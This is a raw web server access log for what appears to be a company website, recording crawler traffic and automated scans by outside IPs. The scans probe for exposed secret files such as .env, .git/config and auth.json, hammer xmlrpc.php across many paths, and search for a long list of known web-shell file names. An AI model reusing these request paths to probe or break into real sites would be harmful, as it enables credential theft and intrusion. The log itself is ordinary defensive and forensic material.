208.109.74.61 - - [11/Sep/2026:07:43:28 +0000] "GET /.well-known/acme-challenge/I2VOMPBR96HJSTRJZ2M2YK0HFEE887MU HTTP/1.1" 301 178 "-" "Cpanel-HTTP-Client/1.0" 130.94.119.182 - - [11/Sep/2026:07:43:29 +0000] "GET /.git/HEAD HTTP/1.1" 404 196 "-" "Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 130.94.119.182 - - [11/Sep/2026:07:43:29 +0000] "GET /api/.env HTTP/1.1" 404 134 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0" 208.109.74.61 - - [11/Sep/2026:07:43:30 +0000] "GET /.well-known/acme-challenge/W0ZYSWQT76PUL9MEVWYMOBJDDDL8EQ14 HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:07:43:32 +0000] "GET /.well-known/acme-challenge/-9-3IIWZ1NY6V8XS0XSCQIVAGFI4PVAR HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:07:43:32 +0000] "GET /.well-known/acme-challenge/-6J70LWVMDFHQU08AXBJF8HQAS1ZZGN- HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:07:43:33 +0000] "GET /.well-known/acme-challenge/957LNFFM7723QN-9TAX5OWIV2WAB22HD HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 187.17.228.239 - - [11/Sep/2026:07:54:18 +0000] "GET /admin/config.php HTTP/1.0" 404 162 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 47.91.94.133 - - [11/Sep/2026:07:57:26 +0000] "\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03I\x06\xB2\xF9\xBC\x99i\xC0Y\xFB\xF8\xBAe-\x83Ud]\x0E\x8D\xB7b8\xB4g\xC6\xDD9dZ8f g\xC1\x81i\xB3\xF6\xF2\xCB\xB0\xA9\x19N\xD6\xBD\x95g|p\xFC\xE9<Z\xA1\x90T\xB7\xE9\xA58'O;\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0" 400 166 "-" "-" 47.91.94.133 - - [11/Sep/2026:07:57:26 +0000] "GET / HTTP/1.1" 404 134 "-" "curl/7.74.0" 62.164.177.222 - - [11/Sep/2026:08:12:05 +0000] "POST /xmlrpc.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" 62.164.177.222 - - [11/Sep/2026:08:12:06 +0000] "POST /xmlrpc.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0" 62.164.177.222 - - [11/Sep/2026:08:12:06 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0" 62.164.177.222 - - [11/Sep/2026:08:12:08 +0000] "POST /blog/xmlrpc.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" 62.164.177.222 - - [11/Sep/2026:08:12:08 +0000] "POST /wp/xmlrpc.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" 62.164.177.222 - - [11/Sep/2026:08:12:08 +0000] "POST /wordpress/xmlrpc.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" 62.164.177.222 - - [11/Sep/2026:08:12:09 +0000] "POST /site/xmlrpc.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" 62.164.177.222 - - [11/Sep/2026:08:12:09 +0000] "POST /news/xmlrpc.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0" 62.164.177.222 - - [11/Sep/2026:08:12:09 +0000] "POST /web/xmlrpc.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0" 62.164.177.222 - - [11/Sep/2026:08:12:10 +0000] "POST /main/xmlrpc.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0" 62.164.177.222 - - [11/Sep/2026:08:12:10 +0000] "POST /cms/xmlrpc.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0" 62.164.177.222 - - [11/Sep/2026:08:12:10 +0000] "POST /wp-site/xmlrpc.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0" 62.164.177.222 - - [11/Sep/2026:08:12:11 +0000] "POST /wpsite/xmlrpc.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15" 62.164.177.222 - - [11/Sep/2026:08:12:11 +0000] "POST /old/xmlrpc.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" 62.164.177.222 - - [11/Sep/2026:08:12:11 +0000] "POST /new/xmlrpc.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0" 62.164.177.222 - - [11/Sep/2026:08:12:12 +0000] "GET /wp-admin/ HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" 62.164.177.222 - - [11/Sep/2026:08:12:13 +0000] "GET /wp-login.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" 152.32.226.102 - - [11/Sep/2026:08:27:02 +0000] "\x16\x03\x01\x01\x1C\x01\x00\x01\x18\x03\x03\x1FW\xD9\x83\x0B$>\xDC\xAB\xDB\x17m!\xC3j\xCF&\x81\xC8\xF6j\xFA\x93\x1B\xCE\x8D\xCFOa\xEA\xDFj \xAF\x85\xB6\xDA\x80\xDCp{\x9C\xA1\x95#\xF6?}\xD3\xA9\x97\x10zX[_\xDF\xE4w\xB4-\x13\xEA\x9E\xDB\x004\xCC\xA8\xCC\xA9\xC0/\xC00\xC0+\xC0,\xC0\x09\x00\x9E\xCC\xA8\xCC\xAA\x003\x00=\x00\x16\xC0" 400 166 "-" "-" 152.32.226.102 - - [11/Sep/2026:08:27:04 +0000] "GET / HTTP/1.1" 404 564 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 152.32.226.102 - - [11/Sep/2026:08:27:25 +0000] "GET /favicon.ico HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 152.32.226.102 - - [11/Sep/2026:08:27:28 +0000] "GET /robots.txt HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 152.32.226.102 - - [11/Sep/2026:08:27:31 +0000] "GET /sitemap.xml HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 92.92.126.119 - - [11/Sep/2026:08:29:33 +0000] "GET /.git/config HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 92.92.126.119 - - [11/Sep/2026:08:30:08 +0000] "GET /web.config HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 92.92.126.119 - - [11/Sep/2026:08:30:11 +0000] "GET / HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 43.165.7.132 - - [11/Sep/2026:08:31:38 +0000] "GET / HTTP/1.1" 404 134 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 35.162.140.124 - - [11/Sep/2026:08:38:57 +0000] "GET /?rnd=1789115936529 HTTP/1.1" 301 178 "-" "GoDaddy-UptimeMonitoring" 43.163.80.48 - - [11/Sep/2026:08:40:17 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 118.26.105.144 - - [11/Sep/2026:08:41:17 +0000] "\x16\x03\x01\x01\x1C\x01\x00\x01\x18\x03\x03\xFC\x8B\xC9\xFB\x7F\x1D\x98\xF58\xD3" 400 166 "-" "-" 118.26.105.144 - - [11/Sep/2026:08:41:22 +0000] "GET / HTTP/1.1" 404 564 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 118.26.105.144 - - [11/Sep/2026:08:41:44 +0000] "GET /favicon.ico HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 118.26.105.144 - - [11/Sep/2026:08:41:49 +0000] "GET /robots.txt HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 118.26.105.144 - - [11/Sep/2026:08:41:54 +0000] "GET /sitemap.xml HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 82.156.116.86 - - [11/Sep/2026:08:42:43 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 205.210.31.214 - - [11/Sep/2026:08:52:25 +0000] "GET / HTTP/1.1" 404 134 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 18.215.60.184 - - [11/Sep/2026:09:03:36 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (compatible; MinervaData-WebsiteMetadata-Collector/2.0; +https://www.minerva.io)" 185.218.86.25 - - [11/Sep/2026:09:08:24 +0000] "GET / HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 38.52.135.238 - - [11/Sep/2026:09:14:18 +0000] "GET /administrator/ HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_62) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/166.0.6478.026 Safari/537.36" 38.52.135.238 - - [11/Sep/2026:09:14:21 +0000] "GET /administrator/index.php HTTP/1.1" 301 178 "https://nabawater.com.sa/administrator/" "Mozilla/5.0 (X11; Linux x86_62) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/166.0.6478.026 Safari/537.36" 38.52.135.238 - - [11/Sep/2026:09:14:23 +0000] "GET /wp-login.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_62) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/166.0.6478.026 Safari/537.36" 38.52.135.238 - - [11/Sep/2026:09:14:27 +0000] "GET /wp-admin/ HTTP/1.1" 301 178 "https://nabawater.com.sa/wp-login.php" "Mozilla/5.0 (X11; Linux x86_62) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/166.0.6478.026 Safari/537.36" 38.52.135.238 - - [11/Sep/2026:09:14:29 +0000] "GET /admin.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_62) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/166.0.6478.026 Safari/537.36" 38.52.135.238 - - [11/Sep/2026:09:14:33 +0000] "GET /admin HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_62) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/166.0.6478.026 Safari/537.36" 38.52.135.238 - - [11/Sep/2026:09:14:38 +0000] "GET /admin HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_62) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/166.0.6478.026 Safari/537.36" 38.52.135.238 - - [11/Sep/2026:09:14:43 +0000] "GET /admin/ HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_62) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/166.0.6478.026 Safari/537.36" 130.94.119.182 - - [11/Sep/2026:09:21:48 +0000] "GET /.git/HEAD HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 43.157.180.116 - - [11/Sep/2026:09:24:19 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 196.171.44.245 - - [11/Sep/2026:09:35:00 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.7922.173 Safari/537.36" 54.184.226.94 - - [11/Sep/2026:09:39:09 +0000] "GET /?rnd=1789119549362 HTTP/1.1" 301 178 "-" "GoDaddy-UptimeMonitoring" 198.235.24.24 - - [11/Sep/2026:09:47:50 +0000] "GET / HTTP/1.0" 301 178 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 205.169.39.163 - - [11/Sep/2026:09:53:56 +0000] "GET /dfresh/documents/file_doc.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 69.63.184.30 - - [11/Sep/2026:10:05:03 +0000] "GET /robots.txt HTTP/1.1" 301 178 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 173.252.87.53 - - [11/Sep/2026:10:05:04 +0000] "GET / HTTP/1.1" 301 178 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 205.210.31.144 - - [11/Sep/2026:10:10:21 +0000] "\x16\x03\x01\x00\xCA\x01\x00\x00\xC6\x03\x03\xDDUp\x1ER\x84W\xF1\xC0\xEB\xEEo_\x88\xEAM\xAF\x8A\xA7\xD4\x0Fd\x98F\xCA7P\xCBa\x14\x9A\x01\x00\x00h\xCC\x14\xCC\x13\xC0/\xC0+\xC00\xC0,\xC0\x11\xC0\x07\xC0'\xC0#\xC0\x13\xC0\x09\xC0(\xC0$\xC0\x14\xC0" 400 166 "-" "-" 205.210.31.144 - - [11/Sep/2026:10:10:21 +0000] "\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03[\xA3C\xD39c\x87\xA6\xE6y\xE6\x94\xA4\xE8\x08\x89\xF3TgM\x8A\xF41j\xE3\x9C\xF7\xF6" 400 166 "-" "-" 136.113.155.22 - - [11/Sep/2026:10:11:59 +0000] "GET /robots.txt HTTP/1.1" 301 178 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Reflectionbot/1.0; +https://reflection.ai/bot) Chrome/151.0.0.0 Safari/537.36" 136.113.155.22 - - [11/Sep/2026:10:12:00 +0000] "GET /English/news.html HTTP/1.1" 301 178 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Reflectionbot/1.0; +https://reflection.ai/bot) Chrome/151.0.0.0 Safari/537.36" 38.154.193.7 - - [11/Sep/2026:10:21:43 +0000] "GET /.env HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36" 38.154.193.7 - - [11/Sep/2026:10:21:44 +0000] "POST / HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36" 54.184.226.94 - - [11/Sep/2026:10:39:00 +0000] "GET /?rnd=1789123139782 HTTP/1.1" 301 178 "-" "GoDaddy-UptimeMonitoring" 208.109.74.61 - - [11/Sep/2026:10:43:27 +0000] "GET /.well-known/acme-challenge/1S4ML9_T8-2I2VSU7OMK18LWN3W481J7 HTTP/1.1" 301 178 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:10:43:29 +0000] "GET /.well-known/acme-challenge/2JVO4NQD7_-TYQP6LWP-KIP_2I1XYEF7 HTTP/1.1" 301 178 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:10:43:31 +0000] "GET /.well-known/acme-challenge/GP40T8--HX3UEHQTKL7LWCM-X_TXKXF3 HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:10:43:33 +0000] "GET /.well-known/acme-challenge/AF400GAU00RMUCT0625H8L49LDMDVF3N HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:10:43:33 +0000] "GET /.well-known/acme-challenge/C6SBKPQ37B1RWRQA-P7FU9NZFJ-O30R9 HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 208.109.74.61 - - [11/Sep/2026:10:43:34 +0000] "GET /.well-known/acme-challenge/10VJUO_FIQASA9-HOMM_EHJRA-_DZL99 HTTP/1.1" 404 162 "-" "Cpanel-HTTP-Client/1.0" 130.94.119.182 - - [11/Sep/2026:10:56:20 +0000] "GET /auth.json HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15" 45.156.128.11 - - [11/Sep/2026:11:00:08 +0000] "GET / HTTP/1.1" 404 196 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 43.131.23.154 - - [11/Sep/2026:11:03:04 +0000] "GET / HTTP/1.1" 404 134 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 165.154.134.163 - - [11/Sep/2026:11:04:40 +0000] "GET / HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" 165.154.134.163 - - [11/Sep/2026:11:04:42 +0000] "GET /favicon.ico HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" 43.173.182.89 - - [11/Sep/2026:11:05:32 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" 165.154.134.163 - - [11/Sep/2026:11:05:54 +0000] "GET /favicon.ico HTTP/1.1" 404 196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" 203.147.140.226 - - [11/Sep/2026:11:12:22 +0000] "GET /page/privacy-policy HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.6943.141 Safari/537.36" 35.162.140.124 - - [11/Sep/2026:11:39:55 +0000] "GET /?rnd=1789126794941 HTTP/1.1" 301 178 "-" "GoDaddy-UptimeMonitoring" 216.75.132.247 - - [11/Sep/2026:11:58:07 +0000] "GET /wp-content/uploads/2021/02/home-image-3.jpg HTTP/1.1" 301 178 "-" "-" 42.119.95.61 - - [11/Sep/2026:11:58:09 +0000] "GET http://www.nabawater.com.sa/wp-content/uploads/2021/02/home-image-3.jpg HTTP/1.1" 301 178 "http://www.nabawater.com.sa/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 107.155.56.47 - - [11/Sep/2026:12:00:15 +0000] "\x16\x03\x01\x01\x15\x01\x00\x01\x11\x03\x03\xD5z5G\xA2D\xC8\xCA\xBB\x9D\x9C\x18\xF7\x02m\x88Lk\xF3A\x9A\x0Fq\x90\x8C\xC5r\xFD\x90K\xBD" 400 166 "-" "-" 107.155.56.47 - - [11/Sep/2026:12:00:17 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 107.155.56.47 - - [11/Sep/2026:12:00:48 +0000] "GET /uploads/site-images/1714411428cy8tO.png HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 107.155.56.47 - - [11/Sep/2026:12:00:54 +0000] "GET /robots.txt HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 107.155.56.47 - - [11/Sep/2026:12:00:59 +0000] "GET /sitemap.xml HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 107.155.56.47 - - [11/Sep/2026:12:01:05 +0000] "GET /config.json HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 4.43.184.113 - - [11/Sep/2026:12:06:56 +0000] "GET / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36" 41.45.80.184 - - [11/Sep/2026:12:18:47 +0000] "GET /product-list-normal-orders HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6834.83 Safari/537.36" 173.252.69.18 - - [11/Sep/2026:12:25:02 +0000] "GET / HTTP/1.1" 301 178 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 101.32.49.171 - - [11/Sep/2026:12:33:07 +0000] "GET / HTTP/1.1" 404 134 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 54.184.226.94 - - [11/Sep/2026:12:40:52 +0000] "GET /?rnd=1789130452508 HTTP/1.1" 301 178 "-" "GoDaddy-UptimeMonitoring" 52.141.45.117 - - [11/Sep/2026:12:43:21 +0000] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:21 +0000] "GET /this_is_a_new_hello_world.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:21 +0000] "GET /f35.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:22 +0000] "GET //adminfuns.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:22 +0000] "GET /3PJcpMFsD8B.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:22 +0000] "GET /4PJcpMFsD8B.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:22 +0000] "GET //av.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:23 +0000] "GET /av.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:23 +0000] "GET /dex.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:23 +0000] "GET /chosen.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:23 +0000] "GET /1.php?p= HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:24 +0000] "GET /radio.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:24 +0000] "GET /blacks.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:24 +0000] "GET /run.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:24 +0000] "GET /vpn.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:25 +0000] "GET /alfa.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:25 +0000] "GET /tesla.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:25 +0000] "GET /wp-content/uploads/ HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:26 +0000] "GET /w.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:26 +0000] "GET /wp_blog_footer.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:26 +0000] "GET /sss.php?p= HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:26 +0000] "GET /or.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:27 +0000] "GET /b8.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:27 +0000] "GET /xex.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:27 +0000] "GET //CAE-2.5.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:27 +0000] "GET /ass.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:28 +0000] "GET /felnggg.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:28 +0000] "GET /jybkxer.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:28 +0000] "GET /edit-tags.php?p= HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:28 +0000] "GET /nauik.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:29 +0000] "GET /wsd.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:29 +0000] "GET /media.php HTTP/1.1" 301 178 "-" "-" 52.141.45.117 - - [11/Sep/2026:12:43:29 +0000] 